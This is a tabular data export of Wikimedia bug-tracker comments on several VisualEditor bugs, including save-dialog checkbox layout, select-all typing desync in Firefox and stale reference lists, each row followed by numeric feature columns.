243764,"VisualEditor: Save dialog's checkboxes layout terribly if you have more than 2 items, or long i18n strings",Reset as FIXED. The screenshot you attach looks normal - could you annotate the parts you think aren't correct? Probably as a new bug…,,,1384842507,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-q3emmq6fhgusggcncftz,task_subcomment,,True,c1,3,True,,,20,,0.0,0.0,0.0,0.0,4.0,11.0,4.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,14.0,4.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,14.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,11.0,7.0,4.0,4.0,0.0,0.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.9642857142857144,0.8928571428571429,Reset as FIXED. The screenshot you attach looks normal - could you annotate the parts you think aren't correct? Probably as a new bug…
243757,"VisualEditor: Save dialog's checkboxes layout terribly if you have more than 2 items, or long i18n strings","Created attachment 13820
Screenshot, 2013-11-17 (in Polish)

This appears to still not fixed :( I'm adding an up-to-date screenshot.

**Attached**: {F11479}",,,1384698145,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-q3emmq6fhgusggcncftz,task_subcomment,,True,c1,3,True,,,19,,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,9.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.159090909090909,0.8181818181818182,"Created attachment 13820
Screenshot, 2013-11-17 (in Polish)

This appears to still not fixed :( I'm adding an up-to-date screenshot.

**Attached**: {F11479}"
243750,"VisualEditor: Save dialog's checkboxes layout terribly if you have more than 2 items, or long i18n strings","The fix for this is now merged and will be deployed on Thursday 10 October to MediaWiki.org, and to Wikipedias on Thursday 17 October.",,,1381187062,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-q3emmq6fhgusggcncftz,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,27.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,19.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.269230769230769,0.8076923076923077,"The fix for this is now merged and will be deployed on Thursday 10 October to MediaWiki.org, and to Wikipedias on Thursday 17 October."
243742,"VisualEditor: Save dialog's checkboxes layout terribly if you have more than 2 items, or long i18n strings","Change 81876 merged by jenkins-bot:
Make the save dialog an actual dialog

https://gerrit.wikimedia.org/r/81876",,,1381186920,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-q3emmq6fhgusggcncftz,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,17.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,0.9444444444444444,"Change 81876 merged by jenkins-bot:
Make the save dialog an actual dialog

GERRIT_URL"
243735,"VisualEditor: Save dialog's checkboxes layout terribly if you have more than 2 items, or long i18n strings",*** Bug 54802 has been marked as a duplicate of this bug. ***,,,1380833625,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-q3emmq6fhgusggcncftz,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 54802 has been marked as a duplicate of this bug. ***
243729,"VisualEditor: Save dialog's checkboxes layout terribly if you have more than 2 items, or long i18n strings","Change 81876 had a related patch set uploaded by Jforrester:
Make the save dialog an actual dialog

https://gerrit.wikimedia.org/r/81876",,,1378325649,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-q3emmq6fhgusggcncftz,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,19.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,4.523809523809524,0.9523809523809523,"Change 81876 had a related patch set uploaded by Jforrester:
Make the save dialog an actual dialog

GERRIT_URL"
243722,"VisualEditor: Save dialog's checkboxes layout terribly if you have more than 2 items, or long i18n strings","Created attachment 13242
pl.wp screenshot

It breaks particularly badly on wikis with FlaggedRevs.

//attachment 2013-09-04 22_07_50-Edytujesz Rafał Kosik - Wikipedia - Opera.png ignored as obsolete//",,,1378325442,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-q3emmq6fhgusggcncftz,task_subcomment,,True,c1,3,True,,,9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,9.0,26.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.114285714285714,0.8571428571428571,"Created attachment 13242
pl.wp screenshot

It breaks particularly badly on wikis with FlaggedRevs.

//attachment 2013-09-04 22_07_50-Edytujesz Rafał Kosik - Wikipedia - Opera.png ignored as obsolete//"
243716,"VisualEditor: Save dialog's checkboxes layout terribly if you have more than 2 items, or long i18n strings",*** Bug 52176 has been marked as a duplicate of this bug. ***,,,1377815261,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-q3emmq6fhgusggcncftz,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52176 has been marked as a duplicate of this bug. ***
243710,"VisualEditor: Save dialog's checkboxes layout terribly if you have more than 2 items, or long i18n strings","Created attachment 12997
Windows 7 screenshot

Font is obviously a contributing factor here; on Windows the layout problem almost disappears.

//attachment VE_de_save_dialog_checkboxes_Firefox_on_Windows.png ignored as obsolete//",,,1375061595,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-q3emmq6fhgusggcncftz,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,17.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,6.933333333333334,0.9333333333333333,"Created attachment 12997
Windows 7 screenshot

Font is obviously a contributing factor here; on Windows the layout problem almost disappears.

//attachment VE_de_save_dialog_checkboxes_Firefox_on_Windows.png ignored as obsolete//"
54171,VisualEditor: Select-all and typing makes document significantly out-of-sync in Firefox,"**Author:** `jonathan_haas`

**Description:**
To reproduce:

1. Goto http://de.wikipedia.org/wiki/Hint
2. Open visual editor
3. Select all (ctrl+a)
4. Enter ""foobar"" (without quotation marks)

Expected: 

- page contains ""foobar""

Actual:

- page contains

ffoffoffoffoofbar|foffoffof
foo


| = cursor position

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1374993900,1404955719.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-r5kajbzeeq4xhzra4a5e,task_description,resolved,True,c1,3,False,False,False,3,,1.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,2.0,5.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.4725274725274726,0.5274725274725275,"**Author:** CODE

**Description:**
To reproduce:

1. Goto URL
2. Open visual editor
3. Select all (ctrl+a)
4. Enter ""foobar"" (without quotation marks)

Expected: 

- page contains ""foobar""

Actual:

- page contains

ffoffoffoffoofbar|foffoffof
foo


| = cursor position

--------------------------
**Version**: unspecified
**Severity**: major"
243512,VisualEditor: Select-all and typing makes document significantly out-of-sync in Firefox,Confirmed now fixed.,,,1404955719,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-r5kajbzeeq4xhzra4a5e,task_subcomment,,True,c1,3,True,,,53,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,Confirmed now fixed.
243505,VisualEditor: Select-all and typing makes document significantly out-of-sync in Firefox,WFM in Firefox,,,1404940599,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-r5kajbzeeq4xhzra4a5e,task_subcomment,,True,c1,3,True,,,53,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,WFM in Firefox
243501,VisualEditor: Select-all and typing makes document significantly out-of-sync in Firefox,"(In reply to Jonathan Haas from comment #4)
> The underlying bug doesn't seem to be fixed.
> 
> To reproduce (Linux, Firefox):
> 
> 1. Copy the Text ""Foundation"" (without quotation marks) to the clipboard
> 2. Open: https://de.wikipedia.org/wiki/The_Binding_of_Isaac?veaction=edit
> 3. Select all (Ctrl+A)
> 4. Paste Clipboard (Ctrl+V)
> 5. Type ""foobar""
> 
> Expected result:
> 
> Page contains ""Foundationfoobar""
> 
> Actual result:
> 
> Page contains:
> 
> obar|
> 
> oo
> 
> fo
> Foundationf


Interesting. This worked for me when I tested it, but doesn't now; perhaps it's content-driven (as well as being a symptom of how broken bits of Firefox are).",,,1403140941,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-r5kajbzeeq4xhzra4a5e,task_subcomment,,True,c1,3,True,,,50,,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,2.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,32.0,2.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,4.0,7.0,28.0,0.0,0.0,0.0,4.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,3.204081632653061,0.46938775510204084,"(In reply to Jonathan Haas from comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE


Interesting. This worked for me when I tested it, but doesn't now; perhaps it's content-driven (as well as being a symptom of how broken bits of Firefox are)."
243495,VisualEditor: Select-all and typing makes document significantly out-of-sync in Firefox,"**jonathan_haas** wrote:

The underlying bug doesn't seem to be fixed.

To reproduce (Linux, Firefox):

1. Copy the Text ""Foundation"" (without quotation marks) to the clipboard
2. Open: https://de.wikipedia.org/wiki/The_Binding_of_Isaac?veaction=edit
3. Select all (Ctrl+A)
4. Paste Clipboard (Ctrl+V)
5. Type ""foobar""

Expected result:

Page contains ""Foundationfoobar""

Actual result:

Page contains:

obar|

oo

fo
Foundationf",,,1403077926,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-r5kajbzeeq4xhzra4a5e,task_subcomment,,True,c1,3,False,,,50,,1.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,0.0,0.0,5.0,10.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.3877551020408165,0.5918367346938775,"**jonathan_haas** wrote:

The underlying bug doesn't seem to be fixed.

To reproduce (Linux, Firefox):

1. Copy the Text ""Foundation"" (without quotation marks) to the clipboard
2. Open: URL
3. Select all (Ctrl+A)
4. Paste Clipboard (Ctrl+V)
5. Type ""foobar""

Expected result:

Page contains ""Foundationfoobar""

Actual result:

Page contains:

obar|

oo

fo
Foundationf"
243488,VisualEditor: Select-all and typing makes document significantly out-of-sync in Firefox,Was fixed by something Ed did a while ago.,,,1402003336,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-r5kajbzeeq4xhzra4a5e,task_subcomment,,True,c1,3,False,,,48,,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,10.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.4,1.0,Was fixed by something Ed did a while ago.
243481,VisualEditor: Select-all and typing makes document significantly out-of-sync in Firefox,"**jonathan_haas** wrote:

Note that the above result was created using Firefox 23.

Chrome 28 produces the following (equally wrong) result:

fbar|ofo
o
foo",,,1377077317,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-r5kajbzeeq4xhzra4a5e,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,8.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.7567567567567566,0.7567567567567568,"**jonathan_haas** wrote:

Note that the above result was created using Firefox 23.

Chrome 28 produces the following (equally wrong) result:

fbar|ofo
o
foo"
243475,VisualEditor: Select-all and typing makes document significantly out-of-sync in Firefox,Reproduced.,,,1375050259,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-r5kajbzeeq4xhzra4a5e,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,1.0,Reproduced.
54160,VisualEditor: [Regression] Reference list not being updated during editing session,"When a reference is edited, the updated version will not appear in the reference list when attempting to insert an existing reference. Instead, the reference that will appear in the reference list will be the reference as it was when the page editing started.

To reproduce, go to a page with references. Edit one of the references, and don't save. Then, do as if you wanted to insert an existing reference and look at the list of existing references. The edit to the reference you have edited will not appear.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1374967920,1384838363.0,PHID-USER-2rwkb3az6uklfhh5aqw5,False,,False,PHID-TASK-3gmemcjr7w4kdsoeiv6t,task_description,resolved,True,c1,3,False,False,False,3,,0.0,0.0,0.0,0.5,2.0,1.5,1.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.5,5.0,9.5,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.5,0.0,2.0,0.0,0.5,0.0,1.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,8.5,1.5,5.5,2.5,1.5,8.5,0.0,0.0,0.0,0.0,7.5,0.0,0.5,0.0,2.0,9.5,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.5,0.0,2.5,0.0,0.0,0.0,4.081010928961748,0.6281420765027322,"When a reference is edited, the updated version will not appear in the reference list when attempting to insert an existing reference. Instead, the reference that will appear in the reference list will be the reference as it was when the page editing started.

To reproduce, go to a page with references. Edit one of the references, and don't save. Then, do as if you wanted to insert an existing reference and look at the list of existing references. The edit to the reference you have edited will not appear.

--------------------------
**Version**: unspecified
**Severity**: normal"
242786,VisualEditor: [Regression] Reference list not being updated during editing session,"@Cainamarques, please see https://bugzilla.wikimedia.org/show_bug.cgi?id=57209 and comment there if you really manage to properly see and choose from the list of reusable references. Thanks.",,,1384881631,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-3gmemcjr7w4kdsoeiv6t,task_subcomment,,True,c1,3,False,,,20,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,4.0,8.0,4.0,0.0,0.0,0.0,0.0,15.0,4.0,4.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.8846153846153846,"SCREEN_NAME, please see URL and comment there if you really manage to properly see and choose from the list of reusable references. Thanks."
242781,VisualEditor: [Regression] Reference list not being updated during editing session,"This bug seems to be fixed, I can perfectly edit and reuse references using Firefox 25.0",,,1384837089,,PHID-USER-qlrpm27qlsmjh2pg65bg,False,,,PHID-TASK-3gmemcjr7w4kdsoeiv6t,task_subcomment,,True,c1,3,False,,,20,,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,18.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.294117647058823,1.0,"This bug seems to be fixed, I can perfectly edit and reuse references using Firefox 25.0"
242778,VisualEditor: [Regression] Reference list not being updated during editing session,(Wondering if this is related to https://bugzilla.wikimedia.org/show_bug.cgi?id=51689.),,,1384809283,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-3gmemcjr7w4kdsoeiv6t,task_subcomment,,True,c1,3,False,,,20,,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.75,1.0,(Wondering if this is related to URL
242776,VisualEditor: [Regression] Reference list not being updated during editing session,"Likewise, the reference list is not updated if I add a new reference to the page, thus being unable to reuse it in the current edit.",,,1378073148,,PHID-USER-qlrpm27qlsmjh2pg65bg,False,,,PHID-TASK-3gmemcjr7w4kdsoeiv6t,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,3.0,3.0,10.0,3.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,7.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.689655172413793,0.8275862068965517,"Likewise, the reference list is not updated if I add a new reference to the page, thus being unable to reuse it in the current edit."
